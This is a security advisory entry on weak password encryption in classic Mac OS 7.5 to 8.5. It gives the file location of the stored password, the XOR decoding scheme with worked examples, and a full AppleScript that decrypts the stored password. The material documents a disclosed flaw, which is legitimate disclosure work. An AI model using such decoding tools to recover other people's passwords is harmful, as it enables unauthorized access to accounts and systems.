source: http://www.securityfocus.com/bid/519/info

The encryption algorithm in MacOS system is simple and the password can be easily decoded.

Password is stored in Users & Groups Data File in Preferences folder. Offset is different on each system and depends on Users & Groups configuration, but it always lie after owner's username. It's not so difficult to find it using a hex editor, even if we don't know owner's username.

Here are some examples of encrypted passwords:
00 04 06 18 0D 0A 19 0B = stayaway
0A 1F 10 1B 00 07 75 1E = yellow
1C 1B 16 14 12 62 10 7B = owner
07 02 13 1A 1E 0F 1A 14 = turnpage
27 25 33 27 27 39 24 7E = Trustno1

AA BB CC DD EE FF GG HH = aa bb cc dd ee ff gg hh

where:
AA BB CC DD EE FF GG HH - encrypted password (hex)
aa bb cc dd ee ff gg hh - decrypted password in ASCII codes (hex)

aa=AA XOR 73H
bb=BB XOR AA XOR 70H
cc=CC XOR BB XOR 63H
dd=DD XOR CC XOR 67H
ee=EE XOR DD XOR 74H
ff=FF XOR EE XOR 70H
gg=GG XOR FF XOR 72H
hh=HH XOR GG XOR 6BH

An example:
Let's take OO 04 06 18 0D 0A 19 0B

00H XOR 73H = 73H = s
04H XOR 00H = 04H; 04H XOR 70H = 74H = t
06H XOR 04H = 02H; O2H XOR 63H = 61H = a
18H XOR 06H = 1EH; 1EH XOR 67H = 79H = y
0DH XOR 18H = 15H; 15H XOR 74H = 61H = a
0AH XOR 0DH = 07H; 07H XOR 70H = 77H = w
19H XOR 0AH = 13H; 13H XOR 72H = 61H = a
0BH XOR 19H = 12H; 12H XOR 6BH = 79H = y

tested on:
MacOS 7.5.3, 7.5.5, 8.1, 8.5

Dawid adix Adamski <adixx@FRIKO4.ONET.PL> wrote an apple script to break passwords.

--------CUT HERE--------
(* MacOS Pass 2.1 by adix 15.06.99; Apple Script English *)
global lbin, bit1, bit2, bitk
set hex1 to text returned of (display dialog "Enter encrypted password
(hex): " default answer "" buttons {" Ok "} default button " Ok " with icon
stop)
set Alicia to
"0111001101110000011000110110011101110100011100000111001001101011"
set pass to ""
set lbin to ""
set razem to ""
set i to 1
set skok to 0
set ile to count items in hex1
if ile = 0 or ile = 1 then
set pass to ""
else
repeat until (i > (ile - 1))
set kodascii to 0
set razem to ""
set zn to items (i) thru (i + 1) in hex1
set lbin to hex2bin(zn)
repeat with a from 1 to 8
set bit1 to item (a + skok) of Alicia
xor(a)
set razem to {razem & bitk} as string
if i < 2 then
set kodascii to {kodascii + bitk * (2 ^ (8 - a))}
end if
end repeat
if i < 2 then
set pass to {pass & (ASCII character kodascii)}
else
set zn to items (i - 2) thru (i - 1) in hex1
set lbin to hex2bin(zn)
repeat with a from 1 to 8
set bit1 to item a of razem
xor(a)
set kodascii to {kodascii + bitk * (2 ^ (8 - a))}
end repeat
set pass to {pass & (ASCII character kodascii)}
end if
set skok to skok + 8
set i to i + 2
end repeat
end if
display dialog "Password: " & pass & return & return & "by adix" buttons
{" Ok "} default button " Ok " with icon note
on hex2bin(zn)
set temphex to {"0000", "0001", "0010", "0011", "0100", "0101", "0110",
"0111", "1000", "1001", "1010", "1011", "1100", -
"1101", "1110", "1111"}
set t2hex to "0123456789ABCDEF"
set bin to ""
repeat with j in zn
set t1 to j as string
repeat with i from 1 to (count items in t2hex)
if ((item i in t2hex) = t1) then
set temp to (item i in temphex)
exit repeat
end if
end repeat
set bin to {bin & temp} as string
end repeat
return (bin)
end hex2bin
on xor(a)
set bit2 to item a in lbin
if bit1 = bit2 then
set bitk to "0"
else
set bitk to "1"
end if
end xor